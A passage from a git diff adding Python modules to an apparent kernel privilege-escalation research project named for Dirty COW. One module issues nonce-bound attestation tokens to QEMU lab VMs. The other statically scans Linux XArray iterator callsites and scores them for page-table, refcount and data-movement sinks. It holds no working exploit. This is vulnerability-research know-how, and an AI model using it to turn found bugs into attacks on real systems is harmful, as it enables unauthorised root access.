"sha256/", + "artifact_count": len(artifact_records), + "artifacts": artifact_records, + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/attestation.py b/dirty-crow-xarray-lpe/framework/dirtycrow/attestation.py new file mode 100644 index 0000000..79d6cad --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/attestation.py @@ -0,0 +1,353 @@ +from __future__ import annotations + +import secrets +import select +import socket +import threading +import time +import uuid +from dataclasses import dataclass +from pathlib import Path +from typing import Callable + +from .strictjson import sha256_file + +SCHEMA_VERSION = 1 +POLICY = "reboot-only-proof" +VIRTIO_PORT_NAME = "org.dirtycrow.attestation" +_MAX_TOKEN_BYTES = 4096 +_TOKEN_KEYS = ( + "schema_version", + "token_id", + "nonce", + "boot_uuid", + "issued_unix", + "expires_unix", + "target_id", + "target_profile_sha256", + "kernel_sha256", + "initramfs_sha256", + "action", + "policy", + "virtio_port", +) + + +class AttestationError(ValueError): + """A host challenge is malformed, stale, replayed, or mismatched.""" + + +@dataclass(frozen=True) +class AttestationToken: + token_id: str + nonce: str + boot_uuid: str + issued_unix: int + expires_unix: int + target_id: str + target_profile_sha256: str + kernel_sha256: str + initramfs_sha256: str + action: str + policy: str = POLICY + virtio_port: str = VIRTIO_PORT_NAME + + def fields(self) -> dict[str, str]: + return { + "schema_version": str(SCHEMA_VERSION), + "token_id": self.token_id, + "nonce": self.nonce, + "boot_uuid": self.boot_uuid, + "issued_unix": str(self.issued_unix), + "expires_unix": str(self.expires_unix), + "target_id": self.target_id, + "target_profile_sha256": self.target_profile_sha256, + "kernel_sha256": self.kernel_sha256, + "initramfs_sha256": self.initramfs_sha256, + "action": self.action, + "policy": self.policy, + "virtio_port": self.virtio_port, + } + + def payload(self) -> bytes: + fields = self.fields() + return "".join(f"{key}={fields[key]}\n" for key in _TOKEN_KEYS).encode("ascii") + + def kernel_parameters(self) -> list[str]: + return [ + f"dirtycrow.attestation_id={self.token_id}", + f"dirtycrow.attestation_nonce={self.nonce}", + f"dirtycrow.boot_uuid={self.boot_uuid}", + f"dirtycrow.profile_sha256={self.target_profile_sha256}", + f"dirtycrow.kernel_sha256={self.kernel_sha256}", + f"dirtycrow.initramfs_sha256={self.initramfs_sha256}", + f"dirtycrow.attestation_issued={self.issued_unix}", + f"dirtycrow.attestation_expires={self.expires_unix}", + f"dirtycrow.policy={self.policy}", + ] + + def record(self) -> dict[str, object]: + return { + "schema_version": SCHEMA_VERSION, + "token_id": self.token_id, + "nonce": self.nonce, + "boot_uuid": self.boot_uuid, + "issued_unix": self.issued_unix, + "expires_unix": self.expires_unix, + "target_id": self.target_id, + "target_profile_sha256": self.target_profile_sha256, + "kernel_sha256": self.kernel_sha256, + "initramfs_sha256": self.initramfs_sha256, + "action": self.action, + "policy": self.policy, + "virtio_port": self.virtio_port, + "payload_sha256": sha256_bytes(self.payload()), + } + + +@dataclass(frozen=True) +class AttestationLaunch: + token: AttestationToken + host: str + port: int + concrete: bool = True + + def qemu_arguments(self) -> list[str]: + return [ + "-uuid", + self.token.boot_uuid, + "-device", + "virtio-serial-pci,id=dirtycrow_virtio_serial", + "-chardev", + ( + "socket,id=dirtycrow_attestation,host=" + f"{self.host},port={self.port}" + ), + "-device", + ( + "virtserialport,bus=dirtycrow_virtio_serial.0,nr=1," + f"chardev=dirtycrow_attestation,name={self.token.virtio_port}" + ), + ] + + def record(self) -> dict[str, object]: + record = self.token.record() + record["transport"] = { + "kind": "private-loopback-to-virtio-serial", + "host": self.host, + "port": self.port, + "concrete": self.concrete, + } + return record + + +class AttestationSession: + def __init__(self, token: AttestationToken) -> None: + self.token = token + self._listener: socket.socket | None = None + self._thread: threading.Thread | None = None + self._stop = threading.Event() + self._delivered_event = threading.Event() + self._lock = threading.Lock() + self._connected = False + self._delivered = False + self._delivery_count = 0 + self._bytes_sent = 0 + self._error: str | None = None + self.launch: AttestationLaunch | None = None + + def __enter__(self) -> AttestationSession: + listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 0) + listener.bind(("127.0.0.1", 0)) + listener.listen(1) + self._listener = listener + host, port = listener.getsockname() + self.launch = AttestationLaunch(self.token, str(host), int(port)) + self._thread = threading.Thread( + target=self._serve_once, + name=f"dirtycrow-attestation-{self.token.token_id[:8]}", + daemon=True, + ) + self._thread.start() + return self + + def _serve_once(self) -> None: + assert self._listener is not None + payload = self.token.payload() + try: + while not self._stop.is_set(): + readable, _, _ = select.select([self._listener], [], [], 0.05) + if not readable: + continue + connection, peer = self._listener.accept() + with connection: + if peer[0] not in {"127.0.0.1", "::1"}: + raise AttestationError("attestation peer is not loopback") + with self._lock: + self._connected = True + connection.sendall(payload) + try: + connection.shutdown(socket.SHUT_WR) + except OSError: + pass + with self._lock: + self._delivered = True + self._delivery_count += 1 + self._bytes_sent = len(payload) + self._listener.close() + self._delivered_event.set() + return + except (OSError, AttestationError) as error: + if not self._stop.is_set(): + with self._lock: + self._error = str(error) + + def wait_for_delivery(self, timeout: float) -> bool: + return self._delivered_event.wait(timeout) + + def close(self) -> None: + self._stop.set() + thread = self._thread + if thread is not None: + thread.join(timeout=1.0) + listener = self._listener + if listener is not None: + try: + listener.close() + except OSError: + pass + self._thread = None + self._listener = None + + def __exit__(self, exc_type: object, exc: object, traceback: object) -> None: + self.close() + + def delivery_record(self) -> dict[str, object]: + with self._lock: + return { + "connected": self._connected, + "delivered": self._delivered, + "delivery_count": self._delivery_count, + "bytes_sent": self._bytes_sent, + "error": self._error, + } + + +AttestationFactory = Callable[[ + str, Path, str, str, str +], AttestationSession] + + +def sha256_bytes(content: bytes) -> str: + import hashlib + + return hashlib.sha256(content).hexdigest() + + +def issue_attestation( + target_id: str, + target_profile: Path, + kernel_sha256: str, + initramfs_sha256: str, + action: str, + *, + now: int | None = None, + ttl_seconds: int = 120, +) -> AttestationSession: + if action != "backstep-proof": + raise AttestationError("attestation may only authorize backstep-proof") + if not 10 <= ttl_seconds <= 600: + raise AttestationError("attestation ttl_seconds must be between 10 and 600") + issued = int(time.time()) if now is None else now + token = AttestationToken( + token_id=secrets.token_hex(16), + nonce=secrets.token_hex(32), + boot_uuid=str(uuid.uuid4()), + issued_unix=issued, + expires_unix=issued + ttl_seconds, + target_id=target_id, + target_profile_sha256=sha256_file(target_profile), + kernel_sha256=kernel_sha256, + initramfs_sha256=initramfs_sha256, + action=action, + ) + return AttestationSession(token) + + +def placeholder_attestation( + target_id: str, + target_profile: Path, + kernel_sha256: str, + initramfs_sha256: str, + action: str, +) -> AttestationLaunch: + token = AttestationToken( + token_id="issued-at-run", + nonce="issued-at-run", + boot_uuid="00000000-0000-0000-0000-000000000000", + issued_unix=0, + expires_unix=0, + target_id=target_id, + target_profile_sha256=sha256_file(target_profile), + kernel_sha256=kernel_sha256, + initramfs_sha256=initramfs_sha256, + action=action, + ) + return AttestationLaunch(token, "127.0.0.1", 0, concrete=False) + + +def parse_attestation_payload(payload: bytes) -> dict[str, str]: + if not payload or len(payload) > _MAX_TOKEN_BYTES: + raise AttestationError("attestation payload size is invalid") + try: + text = payload.decode("ascii") + except UnicodeDecodeError as error: + raise AttestationError("attestation payload is not ASCII") from error + fields: dict[str, str] = {} + for line in text.splitlines(): + key, separator, value = line.partition("=") + if not separator or key not in _TOKEN_KEYS or not value: + raise AttestationError("attestation payload has an invalid field") + if key in fields: + raise AttestationError(f"duplicate attestation field: {key}") + if any(character.isspace() or ord(character) < 0x21 for character in value): + raise AttestationError(f"attestation field contains whitespace: {key}") + fields[key] = value + missing = set(_TOKEN_KEYS) - fields.keys() + if missing: + raise AttestationError( + f"attestation payload missing fields: {', '.join(sorted(missing))}" + ) + if fields["schema_version"] != str(SCHEMA_VERSION): + raise AttestationError("unsupported attestation schema_version") + return fields + + +def validate_attestation_payload( + payload: bytes, + expected: AttestationToken, + *, + now: int | None = None, + consumed_token_ids: set[str] | None = None, +) -> dict[str, str]: + fields = parse_attestation_payload(payload) + expected_fields = expected.fields() + for key in _TOKEN_KEYS: + if fields[key] != expected_fields[key]: + raise AttestationError(f"attestation binding mismatch: {key}") + current = int(time.time()) if now is None else now + try: + issued = int(fields["issued_unix"]) + expires = int(fields["expires_unix"]) + except ValueError as error: + raise AttestationError("attestation timestamps are invalid") from error + if current < issued: + raise AttestationError("attestation is not yet valid") + if current >= expires: + raise AttestationError("attestation is expired") + consumed = consumed_token_ids if consumed_token_ids is not None else set() + if fields["token_id"] in consumed: + raise AttestationError("attestation token was replayed") + consumed.add(fields["token_id"]) + return fields diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/audit.py b/dirty-crow-xarray-lpe/framework/dirtycrow/audit.py new file mode 100644 index 0000000..1545d23 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/audit.py @@ -0,0 +1,1282 @@ +from __future__ import annotations + +import base64 +import concurrent.futures +import hashlib +import json +import subprocess +import time +from dataclasses import asdict, dataclass +from pathlib import Path +from typing import Iterable +import urllib.error +import urllib.parse +import urllib.request + +from .cstruct import ( + StructuralCall, + StructuralFunction, + TranslationUnit, + iterator_calls, + parse_c, +) + +ITERATOR_NAMES = ( + "xa_for_each", + "xa_for_each_marked", + "xa_for_each_range", + "xa_for_each_start", + "xas_find", + "xas_find_conflict", + "xas_find_marked", + "xas_for_each", + "xas_for_each_conflict", + "xas_for_each_marked", + "xas_next_entry", + "xas_next_marked", +) +MUTATION_APIS = frozenset( + { + "xa_alloc", + "xa_alloc_cyclic", + "xa_cmpxchg", + "xa_erase", + "xa_insert", + "xa_store", + "xa_store_range", + "xas_create", + "xas_create_range", + "xas_erase", + "xas_split", + "xas_split_alloc", + "xas_store", + "xas_store_range", + } +) +ITERATOR_PATTERN = r"\b(" + "|".join(ITERATOR_NAMES) + r")\s*\(" + + +@dataclass(frozen=True) +class FunctionSpan: + name: str + start: int + body_start: int + end: int + + +@dataclass(frozen=True) +class Callsite: + ref: str + path: str + line: int + function: str + api: str + lock_context: str + lock_inherited_from: tuple[str, ...] + mixed_lock_callers: bool + container_identity: str | None + capability_gates: tuple[str, ...] + uses_xa_index: bool + subtracts_xa_index: bool + address_or_pte_sink: bool + data_movement_sink: bool + sink_categories: tuple[str, ...] + parser_status: str + parser_issue_count: int + analysis_engine: str + score: int + classification: str + stable_id: str + evidence_boundary: str + commit_id: str | None = None + blob_object_id: str | None = None + source_sha256: str | None = None + + def as_dict(self) -> dict[str, object]: + return asdict(self) + + +@dataclass(frozen=True) +class ParsedSource: + ref: str + path: str + unit: TranslationUnit + + +class GitError(RuntimeError): + pass + + +class GitRepository: + def __init__(self, path: Path): + self.path = path.resolve() + if not (self.path / ".git").exists(): + raise ValueError(f"not a Git repository: {self.path}") + + def _git(self, *args: str, allow_no_match: bool = False) -> str: + result = subprocess.run( + ["git", "-C", str(self.path), *args], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + ) + if result.returncode and not (allow_no_match and result.returncode == 1): + raise GitError(result.stderr.strip() or "git command failed") + return result.stdout + + def resolve_ref(self, ref: str) -> str: + return self._git("rev-parse", "--verify", f"{ref}^{{commit}}").strip() + + def source_manifest( + self, ref: str + ) -> tuple[dict[str, object], list[dict[str, object]]]: + revision = self.resolve_ref(ref) + object_format = self._git("rev-parse", "--show-object-format").strip() + output = self._git("ls-tree", "-r", "--full-tree", ref) + entries: list[dict[str, object]] = [] + digest = hashlib.sha256() + for line in output.splitlines(): + metadata, separator, path = line.partition("\t") + if not separator or not path.endswith((".c", ".h")): + continue + parts = metadata.split() + if len(parts) != 3 or parts[1] != "blob": + continue + mode, _, object_id = parts + entry = { + "path": path, + "mode": mode, + "git_object_id": object_id, + } + entries.append(entry) + digest.update(path.encode("utf-8")) + digest.update(b"\0") + digest.update(object_id.encode("ascii")) + digest.update(b"\n") + entries.sort(key=lambda item: str(item["path"])) + return ( + { + "ref": ref, + "revision": revision, + "git_object_format": object_format, + "source_file_count": len(entries), + "manifest_sha256": digest.hexdigest(), + }, + entries, + ) + + def iterator_matches(self, ref: str) -> list[tuple[str, int, str]]: + output = self._git( + "grep", + "-n", + "-I", + "-E", + ITERATOR_PATTERN, + ref, + "--", + "*.c", + "*.h", + allow_no_match=True, + ) + matches: list[tuple[str, int, str]] = [] + prefix = f"{ref}:" + for raw_line in output.splitlines(): + if not raw_line.startswith(prefix): + continue + remainder = raw_line[len(prefix) :] + path, separator, tail = remainder.partition(":") + if not separator: + continue + line_text, separator, source_line = tail.partition(":") + if not separator or not line_text.isdigit(): + continue + matches.append((path, int(line_text), source_line)) + return matches + + def show(self, ref: str, path: str) -> str: + return self._git("show", f"{ref}:{path}") + + +def fetch_raw_sources( + remote: str, + ref: str, + paths: Iterable[str], + *, + workers: int = 4, + cache_dir: Path | None = None, +) -> dict[str, str]: + remote = remote.strip("/") + if remote.count("/") != 1: + raise ValueError("raw remote must be OWNER/REPOSITORY") + cache_root = None + if cache_dir is not None: + cache_root = ( + cache_dir.resolve() + / remote.replace("/", "__") + / urllib.parse.quote(ref, safe="._-") + ) + + def fetch(path: str) -> tuple[str, str | None]: + relative = Path(path) + if relative.is_absolute() or ".." in relative.parts: + raise ValueError(f"unsafe source path: {path}") + cache_path = cache_root / relative if cache_root is not None else None + missing_path = ( + cache_path.with_name(cache_path.name + ".missing") + if cache_path is not None + else None + ) + if cache_path is not None and cache_path.is_file(): + return path, cache_path.read_text(encoding="utf-8") + if missing_path is not None and missing_path.is_file(): + return path, None + + encoded_ref = urllib.parse.quote(ref, safe="") + encoded_path = urllib.parse.quote(path, safe="/") + gitiles = remote == "torvalds/linux" + if gitiles: + url = ( + "https://kernel.googlesource.com/pub/scm/linux/kernel/git/" + f"torvalds/linux/+/{encoded_ref}/{encoded_path}?format=TEXT" + ) + else: + url = f"https://cdn.jsdelivr.net/gh/{remote}@{encoded_ref}/{encoded_path}" + request = urllib.request.Request( + url, + headers={"User-Agent": "dirty-crow-audit/0.1"}, + ) + payload: bytes | None = None + for attempt in range(6): + try: + with urllib.request.urlopen(request, timeout=45) as response: + payload = response.read(8 * 1024 * 1024 + 1) + break + except urllib.error.HTTPError as error: + if error.code == 404: + if missing_path is not None: + missing_path.parent.mkdir(parents=True, exist_ok=True) + missing_path.touch() + return path, None + if error.code not in {403, 429, 500, 502, 503, 504} or attempt == 5: + raise + retry_after = error.headers.get("Retry-After", "") + delay = ( + int(retry_after) if retry_after.isdigit() else min(2**attempt, 30) + ) + time.sleep(delay) + if payload is None: + raise RuntimeError(f"source fetch produced no payload: {path}") + if len(payload) > 8 * 1024 * 1024: + raise ValueError(f"source file exceeds audit limit: {path}") + if gitiles: + payload = base64.b64decode(payload, validate=False) + source = payload.decode("utf-8", errors="replace") + if cache_path is not None: + cache_path.parent.mkdir(parents=True, exist_ok=True) + cache_path.write_text(source, encoding="utf-8") + return path, source + + sources: dict[str, str] = {} + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + futures = [executor.submit(fetch, path) for path in paths] + for future in concurrent.futures.as_completed(futures): + path, source = future.result() + if source is not None: + sources[path] = source + return sources + + +def persist_source_manifest( + cache_dir: Path | None, + repository: Path, + summary: dict[str, object], + entries: list[dict[str, object]], +) -> dict[str, object]: + result = dict(summary) + result["repository"] = str(repository.resolve()) + result["manifest_path"] = None + result["manifest_artifact_sha256"] = None + if cache_dir is None: + return result + + ref = urllib.parse.quote(str(summary["ref"]), safe="._-") + revision = str(summary["revision"]) + destination = cache_dir.resolve() / "manifests" / f"{ref}-{revision[:16]}.json" + payload = ( + json.dumps( + { + "schema_version": 1, + "repository": str(repository.resolve()), + **summary, + "entries": entries, + }, + indent=2, + sort_keys=True, + ) + + "\n" + ) + destination.parent.mkdir(parents=True, exist_ok=True) + temporary = destination.with_suffix(destination.suffix + ".tmp") + temporary.write_text(payload, encoding="utf-8") + temporary.replace(destination) + result["manifest_path"] = str(destination) + result["manifest_artifact_sha256"] = hashlib.sha256( + payload.encode("utf-8") + ).hexdigest() + return result + + +def function_spans(source: str) -> list[FunctionSpan]: + unit = parse_c(source) + return [ + FunctionSpan( + name=function.name, + start=function.start, + body_start=function.body_start, + end=function.end, + ) + for function in unit.functions + ] + + +def _iterator_call_at(unit: TranslationUnit, line: int) -> StructuralCall: + matches = [ + call for call in iterator_calls(unit, ITERATOR_NAMES) if call.line == line + ] + if not matches: + raise ValueError(f"no structural XArray iterator call at line {line}") + return min(matches, key=lambda call: (call.column, call.end - call.start)) + + +def _function_for_call( + unit: TranslationUnit, call: StructuralCall +) -> StructuralFunction | None: + function = unit.function_at(call.start) + if function is not None: + return function + return next( + (candidate for candidate in unit.functions if candidate.name == call.function), + None, + ) + + +def _callee_matches(name: str, tokens: tuple[str, ...]) -> bool: + return any(token in name for token in tokens) + + +def classify_callsite( + ref: str, + path: str, + line: int, + source: str, + unit: TranslationUnit | None = None, + structural_call: StructuralCall | None = None, + commit_id: str | None = None, + blob_object_id: str | None = None, + source_sha256: str | None = None, +) -> Callsite: + unit = unit if unit is not None else parse_c(source) + call = ( + structural_call + if structural_call is not None + else _iterator_call_at(unit, line) + ) + function = _function_for_call(unit, call) + function_name = call.function + api = call.name + + if function is None: + lock_context = "unclassified" + inherited_from: tuple[str, ...] = () + mixed_callers = False + container = None + capability_gates: tuple[str, ...] = () + fields_after = () + operations_after = () + calls_after = () + return_type = "" + else: + lock_state = unit.lock_state_at(function, call) + lock_context = lock_state.context + inherited_from = lock_state.inherited_from + mixed_callers = lock_state.mixed_callers + container = unit.container_for(function, call) + capability_gates = unit.capability_gates(function, call) + consumer_regions = unit.consumer_regions(function, call) + fields_after = tuple( + field + for region, after in consumer_regions + for field in region.fields + if field.start >= after + ) + operations_after = tuple( + operation + for region, after in consumer_regions + for operation in region.binary_operations + if operation.start >= after + ) + calls_after = tuple( + candidate + for region, after in consumer_regions + for candidate in region.calls + if candidate.start > after + ) + return_type = function.return_type + + uses_xa_index = any(field.field == "xa_index" for field in fields_after) + subtracts_xa_index = any( + operation.operator == "-" and "xa_index" in operation.fields + for operation in operations_after + ) + pte_sink = any( + field.field in {"pte", "pmd", "pud"} for field in fields_after + ) or any( + _callee_matches( + candidate.name, + ("set_pte", "set_ptes", "do_set_pte", "remap_pfn", "pte_offset"), + ) + for candidate in calls_after + ) + address_derivation = any( + "PAGE_SHIFT" in operation.text and "xa_index" in operation.fields + for operation in operations_after + ) + address_or_pte_sink = pte_sink or address_derivation + data_movement_sink = any( + candidate.name.startswith(("copy_", "kmap_")) + or candidate.name + in {"memcpy", "memmove", "sg_set_page", "iov_iter_xarray_advance"} + for candidate in calls_after + ) + refcount_sink = any( + _callee_matches( + candidate.name, + ( + "end_private_2", + "folio_put", + "put_page", + "refcount_dec", + "release_folio", + ), + ) + for candidate in calls_after + ) + prefetch_sink = any( + _callee_matches( + candidate.name, + ("prefetch", "readahead", "read_swap_cache", "swapin"), + ) + for candidate in calls_after + ) + predicate_only = ( + return_type in {"bool", "_Bool"} + and not address_or_pte_sink + and not data_movement_sink + and not refcount_sink + ) + + sink_categories: list[str] = [] + if pte_sink: + sink_categories.append("page_table_or_address_install") + elif address_derivation: + sink_categories.append("address_derivation") + if data_movement_sink: + sink_categories.append("data_movement") + if refcount_sink: + sink_categories.append("reference_release") + if prefetch_sink: + sink_categories.append("prefetch") + if predicate_only: + sink_categories.append("predicate") + + infrastructure = ( + path.startswith(("lib/test_", "tools/testing/", "Documentation/")) + or path == "lib/xarray.c" + or call.origin == "preprocessor_macro" + ) + writer_serialized = ( + lock_context + in { + "writer_lock", + "writer_lock_inherited", + } + and not mixed_callers + ) + score = 0 + score += 4 if lock_context in {"rcu", "rcu_inherited"} else 0 + score -= 6 if writer_serialized else 0 + score += 3 if uses_xa_index else 0 + score += 4 if subtracts_xa_index else 0 + score += 5 if pte_sink else 2 if address_derivation else 0 + score += 3 if data_movement_sink else 0 + score += 5 if refcount_sink else 0 + score += 2 if container else 0 + score -= 3 if capability_gates else 0 + score += 1 if path.startswith(("mm/", "fs/", "include/linux/iov_iter")) else 0 + score -= 8 if infrastructure else 0 + + known_sink = ( + lock_context in {"rcu", "rcu_inherited"} + and subtracts_xa_index + and pte_sink + and container is not None + and "i_pages" in container + ) + if infrastructure: + classification = "infrastructure" + boundary = ( + "Parser-confirmed implementation, test, documentation, or macro " + "infrastructure; it is not an independently reachable consumer." + ) + elif known_sink: + score = max(score, 17) + classification = "known_sink_lineage" + boundary = ( + "Structural data flow links an RCU iterator over an address_space XArray " + "through xa_index subtraction to a page-table/address sink. Runtime proof " + "remains bounded to the imported exact package-kernel evidence." + ) + elif writer_serialized: + score = min(score, 1) + classification = "writer_locked_contract" + boundary = ( + "The iterator executes under a structurally observed direct or inherited " + "writer lock, preventing the required concurrent XArray mutation." + ) + elif capability_gates and score < 8: + classification = "capability_gated" + boundary = ( + "The enclosing structural path contains an explicit capability gate and " + "no independently high-impact sink is established." + ) + elif refcount_sink: + score = max(score, 12) + classification = "refcount_release_candidate" + boundary = ( + "A structurally selected entry reaches a reference-release operation; " + "producer compatibility and runtime reachability remain unproven." + ) + elif data_movement_sink: + score = max(score, 8) + classification = "same_container_io_candidate" + boundary = ( + "An iterator-selected entry reaches data movement in the same identified " + "container; cross-boundary impact remains unproven." + ) + elif prefetch_sink: + score = min(score, 3) + classification = "prefetch_only" + boundary = ( + "The selected entry feeds prefetch or readahead without a structurally " + "observed install, release, or cross-boundary data-movement sink." + ) + elif predicate_only: + score = min(score, 3) + classification = "predicate_only" + boundary = ( + "The iterator result is returned as a predicate without a structurally " + "observed memory-safety or privilege-boundary sink." + ) + elif uses_xa_index: + score = max(score, 8) + classification = "index_sensitive_candidate" + boundary = ( + "The consumer structurally uses xa_index after iteration; a concrete " + "security boundary and compatible concurrent producer remain unproven." + ) + elif not address_or_pte_sink and not data_movement_sink and not refcount_sink: + score = min(score, 3) + classification = "value_only" + boundary = ( + "The parsed consumer does not use xa_index or reach a classified sensitive " + "sink; producer analysis may further downgrade it." + ) + elif score >= 8: + classification = "high_signal_candidate" + boundary = ( + "Structural candidate only; requires a compatible multi-index producer, " + "concurrent mutation, and runtime impact proof." + ) + elif score >= 4: + classification = "candidate" + boundary = ( + "Structural candidate only; no vulnerability or exploitability claim." + ) + else: + classification = "value_only" + boundary = ( + "The parsed consumer does not use xa_index or reach a classified sensitive " + "sink; producer analysis may further downgrade it." + ) + + stable_material = f"{path}:{function_name}:{api}".encode() + stable_id = hashlib.sha256(stable_material).hexdigest()[:12] + return Callsite( + ref=ref, + path=path, + line=call.line, + function=function_name, + api=api, + lock_context=lock_context, + lock_inherited_from=inherited_from, + mixed_lock_callers=mixed_callers, + container_identity=container, + capability_gates=capability_gates, + uses_xa_index=uses_xa_index, + subtracts_xa_index=subtracts_xa_index, + address_or_pte_sink=address_or_pte_sink, + data_movement_sink=data_movement_sink, + sink_categories=tuple(sink_categories), + parser_status=unit.status, + parser_issue_count=unit.issue_count, + analysis_engine="tree-sitter-c", + score=score, + classification=classification, + stable_id=stable_id, + evidence_boundary=boundary, + commit_id=commit_id, + blob_object_id=blob_object_id, + source_sha256=source_sha256, + ) + + +def _node_id(kind: str, *parts: object) -> str: + material = "\x1f".join(str(part) for part in parts).encode() + return f"{kind}:{hashlib.sha256(material).hexdigest()[:16]}" + + +def _canonical_container(expression: str) -> str: + compact = "".join(expression.split()) + while compact.startswith(("&", "*")): + compact = compact[1:] + while compact.startswith("(") and compact.endswith(")"): + compact = compact[1:-1] + return compact + + +def _container_match_key(path: str, expression: str) -> str: + canonical = _canonical_container(expression) + if "->" in canonical: + return "field:" + canonical.rsplit("->", 1)[1] + if "." in canonical: + return "field:" + canonical.rsplit(".", 1)[1] + return f"path:{path}:{canonical}" + + +def _source_line(unit: TranslationUnit, byte_offset: int) -> int: + return unit.source.encode("utf-8")[:byte_offset].count(b"\n") + 1 + + +def _sink_facts( + unit: TranslationUnit, + function: StructuralFunction, + call: StructuralCall, +) -> list[dict[str, object]]: + facts: dict[tuple[str, int, str, str], dict[str, object]] = {} + + def add( + region: StructuralFunction, + start: int, + category: str, + evidence: str, + ) -> None: + key = (region.name, start, category, evidence) + facts[key] = { + "function": region.name, + "line": _source_line(unit, start), + "byte_offset": start, + "category": category, + "evidence": evidence, + "cross_function": region.name != function.name, + } + + for region, after in unit.consumer_regions(function, call): + for field in region.fields: + if field.start < after or field.field not in {"pte", "pmd", "pud"}: + continue + add(region, field.start, "page_table_pointer", field.text) + for operation in region.binary_operations: + if operation.start < after or "xa_index" not in operation.fields: + continue + if operation.operator == "-" or "PAGE_SHIFT" in operation.text: + add(region, operation.start, "address_derivation", operation.text) + for candidate in region.calls: + if candidate.start <= after: + continue + category = "" + if _callee_matches( + candidate.name, + ("set_pte", "set_ptes", "do_set_pte", "remap_pfn", "pte_offset"), + ): + category = "page_table_install" + elif candidate.name.startswith(("copy_", "kmap_")) or candidate.name in { + "memcpy", + "memmove", + "sg_set_page", + "iov_iter_xarray_advance", + }: + category = "data_movement" + elif _callee_matches( + candidate.name, + ( + "end_private_2", + "folio_put", + "put_page", + "refcount_dec", + "release_folio", + ), + ): + category = "reference_release" + elif _callee_matches( + candidate.name, + ("prefetch", "readahead", "read_swap_cache", "swapin"), + ): + category = "prefetch" + if category: + add( + region, + candidate.start, + category, + f"{candidate.name}({', '.join(candidate.arguments)})", + ) + return [facts[key] for key in sorted(facts)] + + +def build_relationship_graph( + sources: Iterable[ParsedSource], + findings: Iterable[Callsite], +) -> dict[str, object]: + source_list = list(sources) + finding_list = list(findings) + source_by_key = {(source.ref, source.path): source for source in source_list} + nodes: dict[str, dict[str, object]] = {} + edges: dict[tuple[str, str, str], dict[str, object]] = {} + producers_by_container: dict[tuple[str, str], list[dict[str, object]]] = {} + + def add_edge( + source_id: str, + target_id: str, + relation: str, + **evidence: object, + ) -> None: + key = (source_id, target_id, relation) + edges[key] = { + "source": source_id, + "target": target_id, + "relation": relation, + **evidence, + } + + def ensure_container( + ref: str, + path: str, + expression: str, + ) -> tuple[str, str]: + match_key = _container_match_key(path, expression) + node_id = _node_id("container", ref, match_key) + node = nodes.setdefault( + node_id, + { + "id": node_id, + "kind": "container", + "ref": ref, + "match_key": match_key, + "expressions": [], + "paths": [], + "boundary": ( + "Symbolic expression/field identity only; object identity and " + "runtime aliasing remain unproven." + ), + }, + ) + expressions = node["expressions"] + paths = node["paths"] + assert isinstance(expressions, list) + assert isinstance(paths, list) + if expression not in expressions: + expressions.append(expression) + expressions.sort() + if path not in paths: + paths.append(path) + paths.sort() + return node_id, match_key + + for source in source_list: + unit = source.unit + for function in unit.functions: + for call in function.calls: + if call.name not in MUTATION_APIS: + continue + container = unit.container_for(function, call) + node_id = _node_id( + "producer", + source.ref, + source.path, + function.name, + call.start, + call.name, + ) + lock_state = unit.lock_state_at(function, call) + nodes[node_id] = { + "id": node_id, + "kind": "producer", + "ref": source.ref, + "path": source.path, + "line": call.line, + "function": function.name, + "api": call.name, + "container_identity": container, + "lock_context": lock_state.context, + "parser_status": unit.status, + "boundary": ( + "Mutation API call is parser-confirmed; reachability, affected " + "entry geometry, and concurrency are not." + ), + } + if container is None or container.startswith("ambiguous("): + continue + container_id, match_key = ensure_container( + source.ref, source.path, container + ) + add_edge( + node_id, + container_id, + "mutates", + evidence="Tree-sitter call and XArray-state binding", + ) + producers_by_container.setdefault((source.ref, match_key), []).append( + nodes[node_id] + ) + + relationships: list[dict[str, object]] = [] + for finding in finding_list: + source = source_by_key.get((finding.ref, finding.path)) + iterator_id = f"iterator:{finding.stable_id}" + nodes[iterator_id] = { + "id": iterator_id, + "kind": "iterator", + "ref": finding.ref, + "path": finding.path, + "line": finding.line, + "function": finding.function, + "api": finding.api, + "container_identity": finding.container_identity, + "lock_context": finding.lock_context, + "classification": finding.classification, + "parser_status": finding.parser_status, + "boundary": finding.evidence_boundary, + } + if source is None: + continue + matching_calls = [ + call + for call in iterator_calls(source.unit, ITERATOR_NAMES) + if call.line == finding.line + and call.name == finding.api + and call.function == finding.function + ] + if not matching_calls: + continue + call = min(matching_calls, key=lambda item: (item.column, item.start)) + function = _function_for_call(source.unit, call) + sink_ids: list[str] = [] + if function is not None: + for fact in _sink_facts(source.unit, function, call): + sink_id = _node_id( + "sink", + finding.ref, + finding.path, + fact["function"], + fact["byte_offset"], + fact["category"], + ) + nodes[sink_id] = { + "id": sink_id, + "kind": "sink", + "ref": finding.ref, + "path": finding.path, + **fact, + "parser_status": source.unit.status, + "boundary": ( + "Structural downstream use only; exploitability and runtime " + "reachability remain separate proof obligations." + ), + } + sink_ids.append(sink_id) + add_edge( + iterator_id, + sink_id, + "flows_to", + cross_function=fact["cross_function"], + evidence="Parser-derived same-file call graph and use-after-call region", + ) + + container = finding.container_identity + if container is None or container.startswith("ambiguous("): + continue + container_id, match_key = ensure_container(finding.ref, finding.path, container) + add_edge( + container_id, + iterator_id, + "iterated_by", + evidence="Tree-sitter iterator call and XArray-state binding", + ) + if not sink_ids: + continue + for producer in producers_by_container.get((finding.ref, match_key), []): + producer_id = str(producer["id"]) + add_edge( + producer_id, + iterator_id, + "compatible_container_candidate", + evidence=( + "Producer and iterator share a symbolic container match key; " + "runtime aliasing is unproven." + ), + ) + transition_status = ( + "candidate_api_only" + if producer["api"] + in { + "xa_store_range", + "xas_create_range", + "xas_split", + "xas_split_alloc", + "xas_store_range", + } + else "unproven" + ) + relationship_id = _node_id( + "relationship", + producer_id, + iterator_id, + *sorted(sink_ids), + ) + relationships.append( + { + "id": relationship_id, + "candidate_name": None, + "status": "structural_candidate", + "producer": producer_id, + "iterator": iterator_id, + "sinks": sorted(set(sink_ids)), + "proof_obligations": [ + { + "name": "symbolic_container_match", + "status": "parser_confirmed", + 